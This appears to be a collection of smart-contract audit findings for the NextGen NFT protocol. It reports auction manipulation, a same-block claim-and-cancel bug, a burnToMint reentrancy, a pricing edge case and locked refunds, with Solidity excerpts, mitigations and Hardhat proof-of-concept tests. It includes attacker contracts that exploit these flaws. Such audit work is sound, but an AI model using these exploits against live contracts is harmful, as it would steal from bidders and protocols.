NextGen - Juntao's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L58

Vulnerability details

Impact

Normal user are unable to participate to an auction and malicious user can win an auction with a low bid price.

Proof of Concept

To participate to an auction, it is required that user must place a bid with the bid price being higher than the current highest bid:

        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

When auction starts, a malicious user can front-run and bid with 1 wei, then bid again with a price much higher than market price, by doing that, normal users won't be able to participate to the auction as it's not reasonable for normal users to bid with a much higher price than market price. At the end of the auction, the malicious user can simple cancel the higher bid and wait auction end and claim the token.

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Assuming:

1. Bob bids 1 wei at the beginning of the auction;
2. Bob bids again with 10 ether (much higher than market price which is 5 ether)
3. Alice tries to bid with 2 ether, she will fail to do so because the highest bid is 10 ether
4. At the end of the auction, Bob cancel his 10 ether bid
5. When the auction ends, Bob is the only and highest bider (1 wei), he can claim the token

Please see the test case:

it("#Auction", async function() {
    await time.increaseTo(1700086400)

    // create collection to burn (Collection 7)
    await contracts.hhCore.createCollection("Auction", "", "", "", "", "", "", [],)
    await contracts.hhCore.setCollectionData(7, signers.addr1.address, 2, 10000, 0)
    await contracts.hhMinter.setCollectionCosts(7, 0, 0, 0, 1, 0, ethers.ZeroAddress)
    await contracts.hhMinter.setCollectionPhases(7, 1700086400, 9999999999, 9999999999, 9999999999, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870")
    await contracts.hhCore.addRandomizer(7, contracts.hhRandomizer)
    await contracts.hhMinter.mintAndAuction(signers.owner, "Auction", 0, 7, 1700172800)

    const auctionTokenId = await contracts.hhCore.viewTokensIndexMin(7) + await contracts.hhCore.viewCirSupply(7) - BigInt(1); 
    await contracts.hhCore.approve(contracts.hhAuction.getAddress(), auctionTokenId)

    // Malicious user bids with 1 wei and then bids with 10 ether
    await contracts.hhAuction.connect(signers.addr2).participateToAuction(auctionTokenId, {value: 1});
    await contracts.hhAuction.connect(signers.addr2).participateToAuction(auctionTokenId, {value: BigInt(10000000000000000000)});

    // Normal user cannot bid with normal price
    await expect(contracts.hhAuction.connect(signers.addr3).participateToAuction(auctionTokenId, {value: BigInt(1000000000000000000) })).to.be.reverted

    // Malicious user cancel his 10 ether bid
    await time.setNextBlockTimestamp(1700172800)
    await contracts.hhAuction.connect(signers.addr2).cancelBid(auctionTokenId, 1);

    // Malicious user won the token with his 1 wei bid
    await time.setNextBlockTimestamp(1700172801)
    expect(await contracts.hhAuction.returnHighestBid(auctionTokenId)).equal(1)

    await contracts.hhAuction.claimAuction(auctionTokenId)
    expect(await contracts.hhCore.ownerOf(auctionTokenId)).equal(signers.addr2.address)
  })

Tools Used

Manual Review

Recommended Mitigation Steps

User should be allowed to bid as long as there is no duplicate bid price.

+   mapping (uint256 => mapping (uint256 => bool)) public tokenBidPrices;

    function participateToAuction(uint256 _tokenid) public payable {
-       require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
+       require(tokenBidPrices[_tokenId][msg.value] == false && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
+       tokenBidPrices[_tokenId][msg.value] = true
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

Auction winner can claim token and cancel bid at the AuctionEndTime, user gets a free token and protocol suffers a loss.

Proof of Concept

User can claim token at the end of an auction:

        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

And user can also cancel bid at the end of an auction:

        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

So if block.timestamp is equal to AuctionEndTime, a winner can claim token and then cancel his bid at the same time. Winner gets a free token and protocol suffers a loss.

Tools Used

Manual Review

Recommended Mitigation Steps

Token should only be claimed after auction ends.

-       require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+       require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L218-L220

Vulnerability details

Impact

In Burn-to-Mint model, the token to be burned can be sold or staked before it's actually burned, the token owner will get unethical earnings, buyer or staking protocol will suffer a loss.

Proof of Concept

In Burn-to-Mint model, a user burns a NextGen token to get a new NextGen token on a different collection. When user calls burnToMint(...) function, user is not required to transfer the token to the protocol:

    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable {
        require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn");
        require(block.timestamp >= collectionPhases[_mintCollectionID].publicStartTime && block.timestamp<=collectionPhases[_mintCollectionID].publicEndTime,"No minting");
        require ((_tokenId >= gencore.viewTokensIndexMin(_burnCollectionID)) && (_tokenId <= gencore.viewTokensIndexMax(_burnCollectionID)), "col/token id error");
        // minting new token
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply");
        require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH");
        uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
        // burn and mint token
        address burner = msg.sender;
        gencore.burnToMint(mintIndex, _burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o, burner);
        collectionTotalAmount[_mintCollectionID] = collectionTotalAmount[_mintCollectionID] + msg.value;
    }

After some checks, function burnToMint(...) in NextGenCore.sol is called to do the actual minting and burning:

    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
        }
    }

It could be seen that new collection token will first be minted to user and then the old token is burned, and in the _mintProcessing function, _safeMint is called:

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

So if the new token receiver is a contract, a callback function _checkOnERC721Received in the receiver contract will be called:

    function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

This is problematic because a malicious user can sell to stake the old token in the _checkOnERC721Received function, as the malicious user is still the owner of the token, after trading/staking, the token is burned, buyer or the staking protocol will lose the token forever.

To verify, please deploy the below contract:

contract Attacker is IERC721Receiver {
    NextGenCore gencore;
    uint256 tokenIdToSellOrStake;
    bool public tokenSoldOrStaked;

    constructor(address _gencore) {
        gencore = NextGenCore(_gencore);
    }

    function sellOrStake(address to, uint256 tokenId) public {
        // transfer to sell or stake
        gencore.transferFrom(address(this), to, tokenId);
        tokenSoldOrStaked = true;
    }

    function getApproval4BurnToMint() public {
        gencore.approve(msg.sender, tokenIdToSellOrStake);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (tokenIdToSellOrStake == 0) {
            tokenIdToSellOrStake = tokenId;
        } else {
            sellOrStake(address(1), tokenIdToSellOrStake);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

And run the test case in nextGen.test.js:

context("Audit", () => {
  it("#Burn to Mint and then to Sell or Stake", async function() {
    await time.increaseTo(1700000001);

    // create collection to burn (Collection 5)
    await contracts.hhCore.createCollection("Burn Collection", "", "", "", "", "", "", [],)
    await contracts.hhAdmin.registerCollectionAdmin(5, signers.addr1.address, true,)
    await contracts.hhCore.connect(signers.addr1).setCollectionData(5, signers.addr1.address, 2, 10000, 0,)
    await contracts.hhMinter.setCollectionCosts(5, BigInt(1000000000000000000), 0, 0, 200, 1, ethers.ZeroAddress,)
    await contracts.hhMinter.setCollectionPhases(5, 1700000000, 1700000000, 1700000000, 1700086400, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870",)
    await contracts.hhCore.addRandomizer(5, contracts.hhRandomizer,)

    // create collection to Mint (Collection 6)
    await contracts.hhCore.createCollection("Mint Collection", "", "", "", "", "", "", [],)
    await contracts.hhAdmin.registerCollectionAdmin(6, signers.addr1.address, true,)
    await contracts.hhCore.setCollectionData(6, signers.addr1.address, 2, 10000, 0,)
    await contracts.hhMinter.setCollectionCosts(6, BigInt(1000000000000000000), 0, 0, 200, 1, ethers.ZeroAddress,)
    await contracts.hhMinter.setCollectionPhases(6, 1700000000, 1700000000, 1700000000, 1700086400, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870",)
    await contracts.hhCore.addRandomizer(6, contracts.hhRandomizer,)

    // initialize burn collection 5 to mint for collection 6
    await contracts.hhMinter.initializeBurn(5, 6, true)

    // mint collection 5 to attacker
    await contracts.hhMinter.mint(5, 1, 0, '', contracts.attacker.getAddress(), [], ethers.ZeroAddress, 0, { value: BigInt(1000000000000000000) })
    const tokenIdToSellOrStake = await contracts.hhCore.viewTokensIndexMin(5) + await contracts.hhCore.viewCirSupply(5) - BigInt(1);
    expect(await contracts.hhCore.ownerOf(tokenIdToSellOrStake), await contracts.attacker.getAddress())
    expect(await contracts.attacker.tokenSoldOrStaked(), false);

    // burn to mint
    await contracts.attacker.getApproval4BurnToMint()
    await contracts.hhMinter.burnToMint(5, tokenIdToSellOrStake, 6, 0, { value: BigInt(1000000000000000000) })

    // token is successfully sold or staked
    expect(await contracts.attacker.tokenSoldOrStaked(), true);
  })
})

Tools Used

Manual Review

Recommended Mitigation Steps

Old collection token should be burned before minting new collection token.

        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
+            // burn token
+            _burn(_tokenId);
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
-            // burn token
-            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L540

Vulnerability details

Impact

At each time period of a Descending Sale, the minting cost decreases exponentially or linearly until it reaches its resting price (ending minting cost) and stays there until the end of the minting phase. However, user may get a price at collectionMintCost (starting price) when minting in a Descending Sale if the token is minted at the end of the sale period.

Proof of Concept

User can mint collection item during the public sale period:

        } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {

When getting the minting price of collection, protocol will first check salesOption, if salesOption is 2 (Descending Sale), then protocol compares block.timestamp with publicEndTime.

Only if block.timestamp is less than publicEndTime, protocol will calculate the minting price based on Descending Sale Model:

        } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){

If block.timestamp is equal to publicEndTime, the minting price will be collectionMintCost, which would be much higher than collectionEndMintCost:

        } else {
            // fixed price
            return collectionPhases[_collectionId].collectionMintCost;
        }

Please see below test case and run it in nextGen.test.js:

it("#getPriceCol4AtPulicEndTime", async function() {
      await time.increaseTo(1796931278)
      const price = await contracts.hhMinter.getPrice(
        4, // _collectionID
      )

      expect(parseInt(price)).equal(1000000000000000000);
    })

It may not seems like a high chance that the token is minted at publicEndTime, however, it's still likely to happen if the collection is very popular and many user want to buy it.

Tools Used

Manual Review

Recommended Mitigation Steps

Protocol should calculate the minting price based on Descending Sale Model, when block.timestamp is less than or equal to publicEndTime:

-       } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){

+       } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

Auction bidders' funds will be stuck if the winner reverts on claiming token.

Proof of Concept

When an auction ends, the highest bidder will be the winner and token can be claimed , the other bidders' funds will be returned in the same transaction:

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Protocol will safeTransferFrom the token to the winner, and _checkOnERC721Received will be called:

function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
        _transfer(from, to, tokenId);
        require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
    }

However, the winner can be contract without implementing onERC721Received function or revert on this function, if that's the case, claim transaction will fail and users' funds will stuck.

Please see blew test case:

it("#Auction", async function() {
    await time.increaseTo(1700086400)

    // create collection to burn (Collection 7)
    await contracts.hhCore.createCollection("Auction", "", "", "", "", "", "", [],)
    await contracts.hhCore.setCollectionData(7, signers.addr1.address, 2, 10000, 0)
    await contracts.hhMinter.setCollectionCosts(7, 0, 0, 0, 1, 0, ethers.ZeroAddress)
    await contracts.hhMinter.setCollectionPhases(7, 1700086400, 9999999999, 9999999999, 9999999999, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870")
    await contracts.hhCore.addRandomizer(7, contracts.hhRandomizer)
    await contracts.hhMinter.mintAndAuction(signers.owner, "Auction", 0, 7, 1700172800)

    const auctionTokenId = await contracts.hhCore.viewTokensIndexMin(7) + await contracts.hhCore.viewCirSupply(7) - BigInt(1); 
    await contracts.hhCore.approve(contracts.hhAuction.getAddress(), auctionTokenId)

    await contracts.auctionWinner.bid(auctionTokenId, {value: 1})

    // auction ends
    await time.setNextBlockTimestamp(1700172801)
    await expect(contracts.hhAuction.claimAuction(auctionTokenId)).to.be.revertedWith("No thanks!")
  })
})

contract AuctionWinner {
    auctionDemo auction;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function bid(uint256 _tokenId) public payable {
        auction.participateToAuction{value: msg.value}(_tokenId);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        revert("No thanks!");
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Consider using the Pull over Push pattern by allowing bidders pull all of their funds after auction ends, instead of pushing it in the claim function

Assessed type

ERC721